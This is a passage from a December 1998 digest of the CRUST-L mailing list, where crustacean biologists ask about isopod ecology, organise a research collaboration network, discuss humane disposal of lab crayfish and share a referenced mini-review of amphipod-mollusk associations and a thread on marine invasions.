x-mac-creator=""4D4F5353"" >Content-Transfer-Encoding: 7bit > >Dear Crustacean Biologists: > >I am interested in learning about the natural history of isopods >that are closely related to Porcellio scaber, particularly >information on species ranges, ecology, and seasonality. Could >anyone suggest the person to contact or reference to consult? > >Thanks, > >Mike. > > > >_______________ > >Mike Palopoli, Ph.D. >Assistant Professor, >Biology Department, >Bowdoin College, >6500 College Station, >Brunswick, ME 04011 > >PH (lab): (207) 725-3657 >PH (home): (207) 729-4263 >FAX: (207) 725-3405 >E-mail: mpalopol@bowdoin.edu > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Thu, 17 Dec 1998 10:16:41 +0200 From: conides@posidon.ncmr.gr Subject: CRUST-L: CRUSTANET announcement Dear Crusters, good morning/evening again to all. This came to me but since I have not=20 sorted out the CRUSTANET list (too many interesting people arrived) and since I am not in this field myself, everyone wishing to collaborate with our colleague from Australia, please let him know. Another important thing is that most of the mails received for CRUSTANET stated that the persons never thought about collaborative research. How is this possible? Where everybody receives his funds from? I would like to have a small forum on this because it is important. Most of us are lost in microscopes and=20 basement labs smelling formol and we wake up sometime and find out that there are no funds to continue and, most important, we do not know= where to get them. Your opinions, please post them to the list and not me directly because everybody should know. Thanks again, and do not forget Mr Australia here. He needs help. At 08:03 =F0=EC 17/12/1998 +1000, you wrote: >Dear Alexis > >I have a research project for which I would like some assistance from >northern hemisphere collaborators because our Australian quarantine >regulations (and common sense) prevent me from working on exotic species. >The project is only a proposal at this stage, but it involves comparative >neurophysiology of freshwater crayfish. I have discovered a significant >difference between _Cherax destructor_ and most species reported from the >northern hemisphere, and wish to explore it further. I yet have to do the >study on other Australian crayfish, but I will need to have a few critical >experiments done on genera such as Astacus, Austropotomobius, Procambarus >and Orconectes, (as well as New Zealand and South American genera). If >there are any neurophysiologist - astacologists on your list who may be >able to set up a collaboration, I would be interested to discuss the >project with them. > >My details:=20 > >Dr. Tom McRae > >Ecology and Environment >Deakin University, Warrnambool Campus >P O Box 423,=20 >Warrnambool, Vic. 3280 >Australia. > >Ph: + 61 (0)3 55 633 461 >Fax: + 61 (0)3 55 633 462 > >E-mail: mcraet@deakin.edu.au > >Interests: Freshwater crayfish culture, reproduction physiology and >anaesthesia > >Tom McRae >Ecology and Environment >Deakin University, Warrnambool Campus >P O Box 423,=20 >Warrnambool, Vic. 3280 >Australia. > >Ph: + 61 (0)3 55 633 461 >Fax: + 61 (0)3 55 633 462 >E-mail: mcraet@deakin.edu.au > > _________________ Dr Alexis J. Conides ><> ><> ><> ><> ><> ><> ><> ><> ><> ><> NATIONAL CENTRE FOR MARINE RESEARCH Tel. +301 8642944 Fax: +301 8642944/6009612/9811713/9833095 e-mail: conides@posidon.ncmr.gr ><> ><> ><> ><> ><> ><> ><> ><> ><> ><> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Thu, 17 Dec 98 14:36:04 EST From: Marilyn Schotte Subject: CRUST-L: World List of Terrestrial Isopods Invertebrate Zoology, Natural Museum of Natural History NHB Stop 163 Smithsonian Inst. Washington, D.C. 20560 The World List of Terrestrial Isopods has been compiled and is now accessible at the Smithsonian Institution's Invertebrate Zoology website. This list, with a bibliography of references, presents over 4,000 species. It joins the World List of Marine and Freshwater Isopods available from the same website. In total the two lists represent all the known speciesof Isopoda crustaceans, which now numbers almost 10,000 species. Both sites are accessible at this address: www.nmnh.si.edu/gopher-menus/Isopods.html Marilyn Schotte Department of Invertebrate Zoology Smithsonian Institution (202) 357-4993 Rm W106 FAX: 202-357-3043 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Fri, 18 Dec 1998 09:58:06 +0200 From: conides@posidon.ncmr.gr Subject: CRUST-L: CRUSTANET announcement Dear Crusters, again I have to say that the offer of collaboration in the CRUSTA-net list is increasing day by day. In my web page you will find all persons that signed in until December 17. IF ANYONE THAT REQUESTED TO BE IN THE LIST, IS NOT APPEARRING IN THE PAGE, PLEASE SEND ME AN E-MAIL REQUEST AGAIN. There are also some things that I have to clarify, concerning CRUSTA-net, in order truly to benefit from this. Also as I can see that you do not seem to have much experience on the subject ""RESEARCH FUNDS"". When it comes to sign an application or a contract for a research project with the EU or other international funding organisations, the scientists that are involved (and they will be members of the CRUSTA-net perhaps) WILL BE RESPONSIBLE TO SIGN THE APPLICATION FORM AND/OR CONTRACT ON BEHALF OF THEIR ORGANISATION (INSTITUTE OR PRIVATE COMPANY) otherwise they will not be able to participate in. NOONE PRIVATE/FREELANCE CAN COLLABORATE AS EQUAL PARTNER TO SUCH PROJECTS. FOR THIS REASON ALL OF YOU THAT WOULD LIKE TO BE INCLUDED IN THE LIST (of course all of you can, I am not entitled to exclude anyone) HAVE TO BE ABLE TO DO THIS. This means that all of you in the list MUST BE SURE that you can represent your Institute/Company and commit your Institute/Company in ANY project at the administration level - also to stamp your application with the official stamp of the Institute/Company and assign the President of the Board/Director/Manager etc. as the responsible administrator for the project. You will be the co-ordinator of the project but YOU HAVE TO HAVE AN ADMINISTRATION TO BACK YOU UP. This is especially important for students (we have one in the list). THIS LIST IS NOT A JOB/CAREER OPPORTUNITY. If anyone would like, I can send by fax, previous applications of EU projects to see what is required. JUST IMAGINE THE POSSIBLE SITUATION TO ORGANISE A PROJECT, WORK FOR ALMOST 6 MONTHS TO PREPARE THE PROPOSAL, RECEIVE THE FUND AND FIND OUT THAT HALF OR ALL OF YOUR PARTNERS CANNOT SIGN THE CONTRACT. Since I anticipate that this will happen, ALL OF YOU THAT ARE ALREADY ENLISTED IN CRUSTA-net RETURN TO ME A SIMPLE E-MAIL STATING THAT YOU CAN SIGN SUCH A CONTRACT ON BEHALF OF YOUR INSTITUTE/COMPANY OR THAT YOU HAVE THE COMPLETE SUPPORT FROM YOUR ADMINISTRATION TO DO SO. Otherwise, please request to be deleted from the list since the problem that you will cause to the rest of us, will be GREAT!!! If required, I can prepare another page with such persons that can be SUB-CONTRACTORS to research projects (SUB-CONTRACTORS do not sign with the EU but they sign private agreements with project partners for a special task to be undertaken). PLEASE BE VERY CAUTIOUS ON THAT AND DO NOT HESITATE TO REQUEST TO BE EXCLUDED FROM THE LIST. The list should include persons that are eligible to be EQUAL PARTNERS in research projects. I do not wish this list to become the disaster for any of you that wish to take your chances and prepare a good and sound proposal with some of us. Again, this list is something that we wish to benefit from. Best ragerds to all, and I expect your e-mails asap _________________ Dr Alexis J. Conides MERRY CHRISTMAS AND A HAPPY NEW YEAR ><> ><> ><> ><> ><> ><> ><> ><> ><> ><> NATIONAL CENTRE FOR MARINE RESEARCH Tel. +301 8642944 Fax: +301 8642944/6009612/9811713/9833095 e-mail: conides@posidon.ncmr.gr ><> ><> ><> ><> ><> ><> ><> ><> ><> ><> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V2 #10 **************************** crust-l-digest Wednesday, December 23 1998 Volume 02 : Number 011 SUBJECTS ---------------------------------------------------------------------- Date: Fri, 18 Dec 1998 15:31:01 +0100 From: Andreas Maas Subject: CRUST-L: Crustaceans in the Dominican Republic Hello friends, Do someone know, if there is anybody working on Crustacea in the Dominican Republic, resp. if there is any University there. Thank you for information Merry Christmas Andreas Maas Andreas Maas Sektion fuer Biosystematische Dokumentation Universitaet Ulm Helmholtzstrasse 20 Tel. xx49-(0)731-503-2001, Fax 2009 email: andreas.maas@biologie.uni-ulm.de =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Fri, 18 Dec 1998 18:55:49 +0100 From: Traudl.Krapp@uni-bonn.de Subject: CRUST-L: odd question Dear crustlers! I have a general question, which does NOT concern crustacea, but there may be one of the naturalists among you, who COULD help: Years ago I read in a book on ?Galapagos? among others about a man who decided to dropout and stay for the rest of his life in direct contact with nature. Before he moved to the island he asked a dentist to remove all his teeth for being sure he would not have trouble with them, far away from civilisation, and he decided to become a strict vegetarian. ((Just here I doubt how he could eat all these vegetables without teeth, but at least my memory tells the story like that)). - He ended up as strict anti-vegetarian, having ONLY meat as nutrition, using teeth of metal. Obviously I found this story strange and told it at that time to our nearly-grownup-children. Now, many years afterwards, our eldest son wants to know the ""exact story"", names, facts, years...., for citing it! And his mother nearly forgot the whole story, and cannot help him. Does anyone know this episode, and could supply more than I can?? Please don't be angry if I have stolen your precious time for this crazy ""problem"", and let me add many very cordial wishes for the last advent-days, and of course for a peaceful and merry Christmas! Traudl Krapp ****************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Fri, 18 Dec 1998 11:31:26 -0800 (PST) From: Deborah Ann Rudnick Subject: CRUST-L: crayfish euthanasia with kindness? Greetings, crusters- Nearing the end of a first round of experiments with Pacifasticus Leniusculus, I will soon no longer be in need of my subjects. The same goes for a few E Sinensis crabs Ive been working with. Could anyone give me some advice as to the most humane way of disposing of my subjects? Rerelease is not necessarily out of the question for the crayfish but its not possible for the crabs. Thank you for your assistance from one just learning the ropes of crustacean caretaking! Sincerely, Debbie Rudnick - -------------- Division of Insect Biology ESPM University of California Berkeley, CA 94720 drudnick@nature.berkeley.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Mon, 21 Dec 1998 08:12:51 +1000 From: Tom McRae Subject: Re: CRUST-L: crayfish euthanasia with kindness? Hi Debbie The usual way is just to put them in the freezer to chill/anaesthetize/narcotise them into a state from which they do not recover. Then they can be disposed of as any other putresecible waste (or cooked and eaten if they haven't had anything nasty done to them!) If they are used to living in cold water, I would suggest an overdose of diethyl ether (saturated solution in their aquarium water) as an alternative - but remember about the safety requirements for using ether. Cheers, and Christmas wishes, Tom. At 11:31 18/12/98 -0800, you wrote: >Greetings, crusters- > >Nearing the end of a first round of experiments with Pacifasticus >Leniusculus, I will soon no longer be in need of my subjects. The same >goes for a few E Sinensis crabs Ive been working with. Could anyone give >me some advice as to the most humane way of disposing of my subjects? >Rerelease is not necessarily out of the question for the crayfish but its >not possible for the crabs. Thank you for your assistance from one just >learning the ropes of crustacean caretaking! > >Sincerely, > >Debbie Rudnick >-------------- >Division of Insect Biology >ESPM >University of California >Berkeley, CA 94720 >drudnick@nature.berkeley.edu > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >Archives available at http://www.vims.edu/~jeff/archive.htm >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > Tom McRae Ecology and Environment Deakin University, Warrnambool Campus P O Box 423, Warrnambool, Vic. 3280 Australia. Ph: + 61 (0)3 55 633 461 Fax: + 61 (0)3 55 633 462 E-mail: mcraet@deakin.edu.au =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Fri, 18 Dec 1998 18:00:05 +0100 From: ""P.J.Lopez-Gonzalez"" Subject: CRUST-L: identification of copepod nauplii Please reply to khalid@cica.es and not to me Thanks Pablo ***************** Hi Crusters ! I would like to know if it is possible to distinguish the nauplii stages of Calanoida copepods from Cyclopoida ones. All nauplii are mixed in the same water body, and I would like to study the population dynamic of these two planktonic copepods. Thank you very much for your help and happy new year!! Khalid ***************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Mon, 21 Dec 1998 15:07:48 +0100 From: ""Wim Vader"" Subject: CRUST-L: Amphipods and mollusks Crutlers, My colleague Teunis Jansen in Copenhagen recently asked me about recent literature about associations between amphipods and mollusks, a subject I wrote a short review on 27 years ago (Time flies!). As this may perhaps be of somewhat more general interest, and especially as I hope you will be able to help me to make the list less incomplete, I have copied my mini-review on email, even though a lot of italics, underlinings etc etc disappear that way. Please send comments, additions, corrections etc etc to wim@imv.uit.no. I wish you all a merry Christmas and a happy, healthy and harmonious 1999! Wim Vader, Troms=F8 Museum 9037 Troms=F8, Norway email: wim@imv.uit.no website: http://home.sol.no/~rupersso/Museet/Vader/ ASSOCIATIONS BETWEEN AMPHIPODS AND MOLLUSKS, A MINI-REVIEW Wim Vader, Dec. 1998 A short review of the scattered literature about associations between amphipods and mollusks has been given by Vader in 1972. Since then a number of new records has been published , but the general picture has not changed appreciably. As before a few categories are excluded, viz. the amphipods that are found among the mussels in a mussel-bank etc, those that associate with hermit crabs and are found in their host-shells, and those that use small gastropods or scaphopods as shelter, cq as a house to carry around. Good examples of the last type are Siphonoecetes sabatieri (cf Gauthier 1941; see also Ortiz & Nazabal 1984 on Corocubanus guitarti), and Photis conchicola (cf Carter 1982). An interesting case, but somewhat peripheral to the subject at hand are the reports of amphipods mimicking mollusks. The closely related pleustids Pleustes depressus and P. platypus (now both transferred to Thorlaksonius, vide Bousfield & Hendrycks 1994) have both been recorded to mimic the gastropod Mitrella (or Alia) carinata (Carter 1979, Crane 1969), while Goddard (1989) has reported the mimicry of nudibranchs by Podocerus sp. Still a different use is that made by Hyperiella dilatata of the shells of the pteropod Clione limacina, again as a protective measure (McClintock & Jansen 1990). Real associations involving live mollusks still fall in the same two main categories recognized by Vader (1972): amphipods sheltering under the food of mainly intertidal gastropods or large chitons, and amphipods living in the pallial and/or mantle cavity of large bivalves. Amphipods and intertidal gastropods (chitonids): In the first instance the amphipods involved are mostly Hyalidae or Calliopiidae/ Pontogeneiidae; important studies on this type of associations are those of Branch (1975, on Calliopiella michaelseni from Patella spp in South Africa) and Underwood & Verstegen (1988, on Hyale media from Cellana tramoserica in SE Australia). Examples of Hyalidae involved in this type of associations are : Hyale grandicornis from Acmaea and Lottia spp in California (Johnson 1968), and from Patella spp in South Africa; Hyale media from Cellana tramoserica in SE Australia (Underwood & Verstegen 1988); H. nilssoni from Patella vulgata and Nucella lapillus in Norway (Brattegard 1963, Vader 1972); H. perieri from Patella spp in Great Britain (Spooner 1957); Parhyale hawaiensis from large Chiton tuberculatus on Puerto Rico (Glynn 1968); this species is also recorded from the bivalve Septifer virgatus by Ong Che & Morton (19xx) from Hong Kong shores. The following Calliopiidae-Pontogeneiidae are involved in similar associations: Calliopiella michaelseni from several species of Patella in S.Africa ( Koch 1949, Barnard 1955, Griffiths 1975, Branch 1975); Haliogeneia crosnieri Lowry & Stoddart from the red abalone Haliotis rubra in SE Australia (Lowry & Stoddart 1998);=20 Paramoera austrina from Patella aenea in the Falkland Islands (Stebbing 1920);=20 Paramoera capensis from Patella spp in S. Africa (Branch 1975). In the case of the Hyalidae several authors mention that the association involves primarily juvenile specimens, while the adults live elsewhere; no such data exist for the Pontogeneiidae. Virtually all the recorded hosts are algae scrapers, and it may therefore be that the amphipods derive food as well as shelter from their hosts. (For Nucella, the only exception, see Vader 1972) Amphipods from inside Bivalves: This is a very different group of amphipods, biologically apparently more closely related to the associates of Porifera and Tunicata (cf Vader 1984). Probably a great many associations of this type have been overlooked until now, the ones reported all belong to one of four amphipod taxa: the Lysianassoidea, the ""gammarids"", the Leucothoidae and the Stenothoidae. The bivalve hosts belong to many, taxonomically widely scattered taxa, and both epifaunal and infaunal species are represented. The following associations are known to me at the moment:=20 Lysianassoidea Anonyx affinis from Musculus spp in Arctic waters (Just 1983) Orchomene kaikai from the vent bivalve Calyptomena phaseoliformis (Bellan-Santini 1990) Perrierella audouiniana from Pinna sp (Chevreux 1935), possibly also from Modiolus (Jones 1948) ""gammarids"" The aberrant species in the genus Cardiophilus have often been reported from the mantle cavity of various cardiid bivalves in the Black, Azov and Caspian Seas (Sars 1896, Elian 1961, Osadchikh 1977). This species has aberrant mouthparts, which led both Sars (loc.cit.) and Pirlot (1932) to presuppose a semiparasitic habit. Leucothoidae Many species of this family, esp. the so-called cosmopolitan L. spinicarpa, are greatly in need of a taxonomic revision. Records of associations involving this family are of a somewhat anecdotical nature, and probably represent the tip of an iceberg. Leucothoe furina from Pinna sp in Indonesia (Ledoyer 1979);=20 L. ""spinicarpa"" from Pecten in Britain (Walker 1895), as well as from Lima scabra and Atrina rigida in Cuban waters (Ortiz 1975) L. species from the living fossil Pholadomya candida (Morton 1980) Stenothoidae The two Metopa species appear to be obligate associates of their bivalve hosts, but little is known about the biology of these associations. Metopa glacialis occurs in various species of Musculus in Arctic waters (Shoemaker 1955, Just 1983, Vader & Beehler 1983) as well as in Musculus koreanus in Korean waters (Ockelmann 19xx). Metopa groenlandica occurs in Pandora glacialis in Greenland waters (Stephensen & Thorson 1936). In this type of associations, the amphipods involved probably not only derive shelter, but also the major part of their food through the feeding activities of the host. No detailed studies of any of these associations have ever been undertaken, however. This mini-review has been sent out primarily to ask for comments and additional references of published or unpublished amphipod-mollusk associations. References. Barnard, K.H. 1955. Annals of the South African Museum 42, 1-107 Bellan-Santini, D. 1990. Beaufortia 41, 15-23. Bousfield, E.L. & E.A. Hendrycks 1994. Amphipacifica 1(2), 3-69. Branch, G.M. 1975. Zoologia Africana 10, 133-162. Brattegard, T. 1963. Sarsia 11, 1-3. Carter, J.W. 1982. Journal of Crustacean Biology 2, 328-341. Carter, J.W.& B.W.Behrens 1980. The Veliger 22, 376-377. Chevreux, E. 1935. R=E9sultats des Campagnes Scientifiques accomplies sur so= n Yacht par Albert Ier Prince Souverain de Monaco 90, 1-214. Crane, J.M. 1969. The Veliger 12, 200, Pl.36. Elian, L. 1961. Comunle Acad. Rep. Pop. Romania 11, 15-20. Gauthier, H. 1941. Bulletin du Soci=E9t=E9 d'Histoire Naturelle de l'Afrique= du Nord 32, 245-266. Glynn, P.W. 1968. Bulletin of Marine Science 18, 572-626. Goddard, J. 1989. Shells & Sea Life 16, 220-222. Griffiths, C.L. 1975. Annals of the South African Museum 67, 91-181. Johnson, S.E. 1968. The Veliger 11 Suppl., 55-60. Jones, N.L. 1948. Journal of the Marine Biological Association UK=20 Just, J. 1983. Astarte 12 (1979), 69-74. Koch, H.J. 1949. Annals of the Natal Museum 11, 487-517. Ledoyer, M. 1979. Bulletin du Museum National d'Histoire Naturelle de Paris, Ser. 4, 1A, 137-181. Lowry, J.K. & H.E. Stoddart 1998. Zoosystema 20, 307-314. McClintock, J.B. & J. Janssen 1990. Nature, London 346, 462-465. Morton, B. 1980. Videnskabelige Meddelelser Dansk Naturhistorisk Forening 142, 7-101. Ockelmann, K.W.1983. Ophelia 22, 81-123. Ong Che, R.G.& B. Morton 1992 . Asian Marine Biology 9, 217-233. Ortiz, M. 1975. Investigaciones Marinas Sciencias, Ser. 8, 16, 1-12. Ortiz, M. & J. Nazabal 1984. Revista de Investigaciones Marinas 5, 3-21. Osadchikh, V-F. 1977. Zoologichesky Zhurnal 56, 156-158. Pirlot, J.M. 1932. Annales de l'Institut Oc=E9anographique 12, 1-36. Sars, G.O. 1896. Bulletin de l'Academie Imperiale des Sciences St. Petersbourg 5, 421-489. Shoemaker, C.R. 1955. Smithsonian Miscellaneous Collections 128, 1-78. Spooner, G.M. 1957. Plymouth Marine Fauna. Stebbing, T.R.R. 1920. Proceedings of the Zoological Society of London 1919, 327-340. Stephensen, K. & G. Thorson, 1936. Meddelelser om Gr=F8nland 118 83), 1-8. Underwood, A.J. & P.H.Verstegen 1988. Journal of Experimental Marine Biology and Ecology 119, 83-98. Vader, W. 1972. Sarsia, 13-18. Vader, W. 1984. Fauna Norvegica Ser.A 5, 16-21. Vader, W. & C.L.Beehler 1983. Astarte 12 (1979), 57-61. Walker, A.O. 1895. Transactions of the Liverpool Biological Society 9, 287-320. =09 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Mon, 21 Dec 1998 17:40:28 -0600 From: oshel@terracom.net (Philip Oshel) Subject: Re: CRUST-L: exotic pests on coral reefs Hi folks, I got the following reply from Roy Caldwell. I'm surprised that this hasn't generated more discussion. Marine invasions are occurring (recent posts on the green crab for instance, and news on algae in the Mediterrenean and Zostera on the California coast are examples) and they must be occurring on coral reefs. To who knows what end? Especially given the lousy knowledge of small reef species and the critters that live inside the reef. Any more news? Phil >The best example that I know of is the introduction of >Gonodactylaceus mutatus from the Philippines into Oahu in the 1950's. >It rapidly spread and caused problems for Pseudosquilla ciliata as >well as other animals living in coral cavities. There was some >debate on whether this was an introduction and Manning and Reaka >actually named this beast Gonodactylus aloha, but fortunately, >subsequent work pretty much proves that Bob Kinzie was correct and >that it was an introduction - probably animals living in cavities in >concrete barges towed back from the Philippines after WWII. > >Roy > > >> Crusters, >> >> People have occassionally posted about the problems of introducing foreign >> species, but these problems have typically concerned freshwater or >> terrestrial species. >> >> Are there any reports of the introduction of foreign coral reef crustaceans >> spreading havoc amongst the native species of a coral reef? Say Great >> Barrier Reef species finding their way to the Caribbean, and the >> consequences? Any possiblity that the die-offs of corals in the Caribbean >> are caused by pathogens introduced by such introductions? >> >> Phil >> >> }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ >> Philip Oshel >> PO Box 620068 >> Middleton, WI 53562 >> oshel@terracom.net > >*************************************** >Roy L. Caldwell >Chancellor's Professor and Chair >Department of Integrative Biology >University of California at Berkeley >Berkeley, CA 94720-3140 >USA > >Phone: (510) 642-1391 >Fax: (510) 643-6264 >Email: 4roy@socrates.berkeley.edu >http://ib.berkeley.edu/faculty/Caldwell,RL.html >*************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. 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It has yet to be seen if these fish will have any long term impacts, but one can only imagine that there will be. Cheers, Donovan German University of San Diego donovan56@hotmail.com ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Tue, 22 Dec 1998 10:53:23 +0100 From: Massabuau Jean-Charles Subject: Re: CRUST-L: exotic pests on coral reefs Hello, Talking about marine invasions, I got the oppurtunity to say we are finishing a paper on the ability of the green crab Carcinus maenas to fed in hypoxic waters. In summer, we saw Carcinus eating in waters where the partial pressure of oxygen, PO2, was 2-3 kPa (remember that in normoxic water, PO2 =3D 21 kPa!). Obviously this astonishing capacity to behave like that is a clear advantage for invading numerous new biotopes. We would like to have some kind of overall view on its recent expansion and we are looking for papers on the subject. Any help is welcome. Best wishes and merry christmas to everybody !!! JC At 17:40 21/12/98 -0600, you wrote: >Hi folks, > >I got the following reply from Roy Caldwell. I'm surprised that this hasn't >generated more discussion. Marine invasions are occurring (recent posts on >the green crab for instance, and news on algae in the Mediterrenean and >Zostera on the California coast are examples) and they must be occurring on >coral reefs. To who knows what end? Especially given the lousy knowledge of >small reef species and the critters that live inside the reef. Any more >news? > >Phil > >>The best example that I know of is the introduction of >>Gonodactylaceus mutatus from the Philippines into Oahu in the 1950's. >>It rapidly spread and caused problems for Pseudosquilla ciliata as >>well as other animals living in coral cavities. There was some >>debate on whether this was an introduction and Manning and Reaka >>actually named this beast Gonodactylus aloha, but fortunately, >>subsequent work pretty much proves that Bob Kinzie was correct and >>that it was an introduction - probably animals living in cavities in >>concrete barges towed back from the Philippines after WWII. >> >>Roy >> >> >>> Crusters, >>> >>> People have occassionally posted about the problems of introducing= foreign >>> species, but these problems have typically concerned freshwater or >>> terrestrial species. >>> >>> Are there any reports of the introduction of foreign coral reef crustaceans >>> spreading havoc amongst the native species of a coral reef? Say Great >>> Barrier Reef species finding their way to the Caribbean, and the >>> consequences? Any possiblity that the die-offs of corals in the= Caribbean >>> are caused by pathogens introduced by such introductions? >>> >>> Phil >>> >>> }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ >>> Philip Oshel >>> PO Box 620068 >>> Middleton, WI 53562 >>> oshel@terracom.net >> >>*************************************** >>Roy L. Caldwell >>Chancellor's Professor and Chair >>Department of Integrative Biology >>University of California at Berkeley >>Berkeley, CA 94720-3140 >>USA >> >>Phone: (510) 642-1391 >>Fax: (510) 643-6264 >>Email: 4roy@socrates.berkeley.edu >>http://ib.berkeley.edu/faculty/Caldwell,RL.html 